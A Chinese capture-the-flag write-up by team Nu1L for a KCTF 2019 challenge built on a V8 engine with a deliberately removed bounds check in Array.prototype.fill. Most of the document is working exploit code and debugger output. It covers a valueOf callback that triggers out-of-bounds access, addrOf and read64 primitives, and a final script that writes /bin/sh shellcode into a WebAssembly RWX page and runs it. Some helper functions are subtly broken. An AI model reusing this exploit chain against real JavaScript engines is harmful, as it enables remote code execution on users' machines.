KCTF 2019 Q3 第十二题 Writeup by Nu1L
2019-09-26 13:41:35 Author: bbs.pediy.com(查看原文) 阅读量:154 收藏

这是个V8
FastElement的Fill方法的end和capacity校验被删了...那就是常规的溢出咯
学习一下
https://segmentfault.com/a/1190000008188648
https://bbs.pediy.com/thread-252812.htm

class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits>

找一波FastElements属性
fast之前应该要先过一个Runtime_ObjectGetOwnPropertyNamesTryFastTryFastArrayFill,主要是后者

V8_WARN_UNUSED_RESULT bool TryFastArrayFill(Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver,Handle<Object> value, double start_index, double end_index) {
  // If indices are too large, use generic path since they are stored as
  // properties, not in the element backing store.
  if (end_index > kMaxUInt32) return false;
  if (!receiver->IsJSObject()) return false;

  if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) {
    return false;
  }

  Handle<JSArray> array = Handle<JSArray>::cast(receiver);

  // If no argument was provided, we fill the array with 'undefined'.
  // EnsureJSArrayWith... does not handle that case so we do it here.
  // TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when
  //               it gets refactored.
  if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) {
    // Use a short-lived HandleScope to avoid creating several copies of the
    // elements handle which would cause issues when left-trimming later-on.
    HandleScope scope(isolate);
    JSObject::TransitionElementsKind(array, PACKED_ELEMENTS);
  }

  uint32_t start, end;
  CHECK(DoubleToUint32IfEqualToSelf(start_index, &start));
  CHECK(DoubleToUint32IfEqualToSelf(end_index, &end));

  ElementsAccessor* accessor = array->GetElementsAccessor();
  accessor->Fill(array, value, start, end);
  return true;
}

审错分支了
JSObject

var a = new Array()
a[0] = 0x66666666
a.fill(0x88888888,0,3)

v8::internal::`anonymous namespace'::ElementsAccessorBase<v8::internal::`anonymous namespace'::FastPackedObjectElementsAccessor,v8::internal::`anonymous namespace'::ElementsKindTraits<(v8::internal::ElementsKind)2>>::Fill断下,发现end已被替换为length,得想个法子把TryFast绕了
[[rsi]+8]能看到a.elements
有个想法,可以整一个回调函数,length先改大,在执行fill的时候跑个回调把length变小,这样end就溢出了

高仿一份v8的exp,学习了一下exp中回调函数的用法
https://www.exploit-db.com/raw/46748

triggerOob = () => {
  array = [];
  array.length = 0xffffffff;
  ptr_leak_object = {};
  arbirary_access_array = new BigUint64Array(1);

  oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() {
    array.length = 32;
    array.fill(1.1);
    return 0x80000000;
  }});
  ptr_leak_object[0] = MARKER;
  arbirary_access_array.buffer;
}

可以改valueOf方法
然后整出一个PoC,这里的global用来做后面oob的持续化(之后的oob全靠global这个FastDoubleElements)

arr = [];global = [];arr.length = 65536;
editend = {valueOf:function(){arr.length = 32;arr.fill(1);let arr0 = [1.1,1.1,1.1,1.1];global = arr0;return 0x2a;}};
x = arr.fill(0x66666666,0x29,editend);

获取end时调用valueOf,valueOf的callback去修改arr.length为0x20,然后start = 0x2f end = 0x30 下标溢出

调一下

gef➤  x/32gx 0x149055b04cb8
0x149055b04cb8:    0x00003f032a2c2f59    0x0000065bf4f80c01
0x149055b04cc8:    0x00000053d9d40119    0x0000002000000000
0x149055b04cd8:    0x00003f032a2c2e69    0x0000065bf4f80c01
0x149055b04ce8:    0x0000065bf4f80c01    0x0000000000000000
0x149055b04cf8:    0x00003f032a2c7739    0x0000065bf4f80c01
0x149055b04d08:    0x0000065bf4f80c01    0x0000149055b04d49
0x149055b04d18:    0x0000065bf4f80251    0x0000000000010001
0x149055b04d28:    0x0000065bf4f82389    0x0000065bf4f84809
0x149055b04d38:    0x000000c400000000    0x00003f032a2c039b
0x149055b04d48:    0x00003f032a2c0399    0x0000065bf4f80c01
0x149055b04d58:    0x0000065bf4f80c01    0x0000280b4ac9ca89
0x149055b04d68:    0x0000280b4ac80309    0x0000280b4ac9cce9
0x149055b04d78:    0x00001d58540040a1    0x0000065bf4f80591
0x149055b04d88:    0x0000065bf4f80791    0x0000000400000000
0x149055b04d98:    0x0000280b4ac9ce51    0x0000280b4ac9ce61
0x149055b04da8:    0x0000280b4ac9ce71    0x0000280b4ac9ce81
gef➤  x/32gx 0x00000053d9d40118
0x53d9d40118:    0x0000065bf4f80791    0x0000002000000000
0x53d9d40128:    0x0000000100000000    0x0000000100000000
0x53d9d40138:    0x0000000100000000    0x0000000100000000
0x53d9d40148:    0x0000000100000000    0x0000000100000000
0x53d9d40158:    0x0000000100000000    0x0000000100000000
0x53d9d40168:    0x0000000100000000    0x0000000100000000
0x53d9d40178:    0x0000000100000000    0x0000000100000000
0x53d9d40188:    0x0000000100000000    0x0000000100000000
0x53d9d40198:    0x0000000100000000    0x0000000100000000
0x53d9d401a8:    0x0000000100000000    0x0000000100000000
0x53d9d401b8:    0x0000000100000000    0x0000000100000000
0x53d9d401c8:    0x0000000100000000    0x0000000100000000
0x53d9d401d8:    0x0000000100000000    0x0000000100000000
0x53d9d401e8:    0x0000000100000000    0x0000000100000000
0x53d9d401f8:    0x0000000100000000    0x0000000100000000
0x53d9d40208:    0x0000000100000000    0x0000000100000000
gef➤  
0x53d9d40218:    0x0000000100000000    0x0000000100000000
0x53d9d40228:    0x6666666600000000    0x6666666600000000
0x53d9d40238:    0x6666666600000000    0x6666666600000000
0x53d9d40248:    0x6666666600000000    0x6666666600000000
0x53d9d40258:    0x6666666600000000    0x6666666600000000
0x53d9d40268:    0x6666666600000000    0x6666666600000000
0x53d9d40278:    0x6666666600000000    0x6666666600000000
0x53d9d40288:    0x6666666600000000    0x6666666600000000
0x53d9d40298:    0x6666666600000000    0x6666666600000000
0x53d9d402a8:    0x0000065bf4f80591    0x0000065bf4f80591
0x53d9d402b8:    0x0000065bf4f80591    0x0000065bf4f80591
0x53d9d402c8:    0x0000065bf4f80591    0x0000065bf4f80591
0x53d9d402d8:    0x0000065bf4f80591    0x0000065bf4f80591
0x53d9d402e8:    0x0000065bf4f80591    0x0000065bf4f80591
0x53d9d402f8:    0x0000065bf4f80591    0x0000065bf4f80591
0x53d9d40308:    0x0000065bf4f80591    0x0000065bf4f80591

Sakura大佬先知里发过的工具类(轮子)

String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
  return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++){
        //print(bytes[i].toString(16));
        res.push(('0' + bytes[i].toString(16)).substr(-2));
    }
    return res.join('');

}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
        var chunk = data.slice(i, i+16);
    for (var i = 0; i < data.length; i += 16) {
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            //print(bigEndian.toString());
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        //print("toString");
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a & b
    this.assignAnd = operation(function and(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) & b.byteAt(i);
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
    return (new Int64()).assignAnd(a, b);
}

function hex(a) {
    if (a == undefined) return "0xUNDEFINED";
    var ret = a.toString(16);
    if (ret.substr(0,2) != "0x") return "0x"+ret;
    else return ret;
}

function lower(x) {
    // returns the lower 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}

function upper(x) {
    // returns the upper 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}


function lowerint(x) {
    // returns the lower 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}

function upperint(x) {
    // returns the upper 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}

function combine(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    //print(a.toString());
    //print(b.toString());
    return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}


//padLeft用于字符串左补位

function combineint(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}

  // based on Long.js by dcodeIO
  // https://github.com/dcodeIO/Long.js
  // License Apache 2
  class _u64 {
     constructor(hi, lo) {
        this.lo_ = lo;
        this.hi_ = hi;
     }

     hex() {
        var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
        var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
        if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
        if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
        hlo = "00000000" + hlo
        hlo = hlo.substr(hlo.length-8, hlo.length);
        return "0x" + hhi + hlo;
     }

     isZero() {
        return this.hi_ == 0 && this.lo_ == 0;
     }

     equals(val) {
        return this.hi_ == val.hi_ && this.lo_ == val.lo_;
     }

     and(val) {
        return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
     }

     add(val) {
        var a48 = this.hi_ >>> 16;
        var a32 = this.hi_ & 0xFFFF;
        var a16 = this.lo_ >>> 16;
        var a00 = this.lo_ & 0xFFFF;

        var b48 = val.hi_ >>> 16;
        var b32 = val.hi_ & 0xFFFF;
        var b16 = val.lo_ >>> 16;
        var b00 = val.lo_ & 0xFFFF;

        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
        c00 += a00 + b00;
        c16 += c00 >>> 16;
        c00 &= 0xFFFF;
        c16 += a16 + b16;
        c32 += c16 >>> 16;
        c16 &= 0xFFFF;
        c32 += a32 + b32;
        c48 += c32 >>> 16;
        c32 &= 0xFFFF;
        c48 += a48 + b48;
        c48 &= 0xFFFF;

        return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
     }

     addi(h,l) {
        return this.add(new _u64(h,l));
     }

     subi(h,l) {
        return this.sub(new _u64(h,l));
     }

     not() {
        return new _u64(~this.hi_, ~this.lo_)
     }

     neg() {
        return this.not().add(new _u64(0,1));
     }

     sub(val) {
        return this.add(val.neg());
     };

     swap32(val) {
        return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
              ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
     }

     bswap() {
        var lo = swap32(this.lo_);
        var hi = swap32(this.hi_);
        return new _u64(lo, hi);
     };
  }
var u64 = function(hi, lo) { return new _u64(hi,lo) };

function gc(){
    for (var i = 0; i < 1024 * 1024 * 16; i++){
        new String();
    }
}

任意地址读
改下一个FastDoubleArray的elements指针,然后整一个read64原语

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

%DebugPrint(wasmCode);
%DebugPrint(wasmModule);
%DebugPrint(wasmInstance);
%DebugPrint(f);

arr = [];
global = [];
arr.length = 65536;
iCallback = {valueOf:function(){
    arr.length = 32;
    arr.fill(2.2);
    let arr0 = [1.1,1.1,1.1,1.1];
    global = arr0;
    return 0x2a;
    }
};
x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback);
var ab = new Array(0x20);
ab.fill(0,0x20,1,1);

leak     = Int64.fromDouble(global[5]);
pde_map    = Int64.fromDouble(global[4]);
gb_sto    = Int64.fromDouble(global[6]);
proc_heap  = Int64.fromDouble(global[12]);
function i2f(i)
{
    var x = (new Int64(i)).asDouble();
}
function AddrOf(obj)
{
    global[10] = new Int64(gb_sto-0x100).asDouble();
    ab[1] = obj;
    obj_addr = Int64.fromDouble(arr[3]);
    return obj_addr;
}

function read64(addr)
{
    global[10] = new Int64(addr-0x10).asDouble();
    return ab[0];
}
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var fake_array = [pde_map,i2f(0),i2f(0x41414141),i2f(0x1000000000),1.1,2.2];

%DebugPrint(arr);
%DebugPrint(global);
%DebugPrint(float_array);
%DebugPrint(obj_array);
%DebugPrint(ab);

var f_addr = AddrOf(f);
console.log(hex(f_addr));
var shared_info_addr = AddrOf(read64(Add(f_addr,0x18)));
console.log(hex(shared_info_addr));
var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8)));
console.log(hex(wasm_exported_func_data_addr));
var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10)));
console.log(wasm_instance_addr);
var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80)));
console.log(rwx_page_addr);

%SystemBreak();

console.log(f_addr);
console.log(leak1);
console.log(ab_map);
console.log(gb_sto);
console.log(proc_heap);
console.log(arr);

EXP
修改ArrayBuffer的backing-store为rwx_page_addr,然后把Float64给set进去,篡改wasm,成了

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++){
        res.push(('0' + bytes[i].toString(16)).substr(-2));
    }
    return res.join('');

}

function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

var Struct = (function() {
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;
            byteView.set(bytes);
            return view[0];
        },

        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

function Int64(v) {
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    this.asDouble = function() {
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };


    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    this.bytes = function() {
        return Array.from(bytes);
    };

    this.byteAt = function(i) {
        return bytes[i];
    };

    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    this.assignAnd = operation(function and(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) & b.byteAt(i);
        }
        return this;
    }, 2);
}

Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

function hex(a) {
    if (a == undefined) return "0xUNDEFINED";
    var ret = a.toString(16);
    if (ret.substr(0,2) != "0x") return "0x"+ret;
    else return ret;
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

arr = [];
global = [];
arr.length = 65536;
iCallback = {valueOf:function(){
    arr.length = 32;
    arr.fill(2.2);
    let arr0 = [1.1,1.1,1.1,1.1];
    global = arr0;
    return 0x2a;
    }
};
x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback);
var ab = new Array(0x20);
ab.fill(0,0x20,1,1);

var aaw = new ArrayBuffer(0x20);
aaw[0] = 1.111111;

leak     = Int64.fromDouble(global[5]);
pde_map    = Int64.fromDouble(global[4]);
gb_sto    = Int64.fromDouble(global[6]);
proc_heap  = Int64.fromDouble(global[12]);
function i2f(i)
{
    var x = (new Int64(i)).asDouble();
}
function AddrOf(obj)
{
    global[10] = new Int64(gb_sto-0x100).asDouble();
    ab[1] = obj;
    obj_addr = Int64.fromDouble(arr[3]);
    return obj_addr;
}

function read64(addr)
{
    global[10] = new Int64(addr-0x10).asDouble();
    return ab[0];
}
function i2f2(i)
{
    bigUint64[0] = i;
    return float64[0];
}
var f_addr = AddrOf(f);
console.log(hex(f_addr));
var shared_info_addr = AddrOf(read64(Add(f_addr,0x18)));
console.log(hex(shared_info_addr));
var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8)));
console.log(hex(wasm_exported_func_data_addr));
var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10)));
console.log(wasm_instance_addr);
var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80)));
console.log(rwx_page_addr);

var shellcode=[0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n];
var data_view = new DataView(aaw);
var backing_store_addr = AddrOf(aaw)+0x20;

global[0x32] = new Int64(rwx_page_addr).asDouble();

data_view.setFloat64(0, i2f2(shellcode[0]), true);
data_view.setFloat64(8, i2f2(shellcode[1]), true);
data_view.setFloat64(16, i2f2(shellcode[2]), true);

f();

交的时候居然还要压缩成一行

[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!


文章来源: https://bbs.pediy.com/thread-254716.htm
如有侵权请联系:admin#unsafe.sh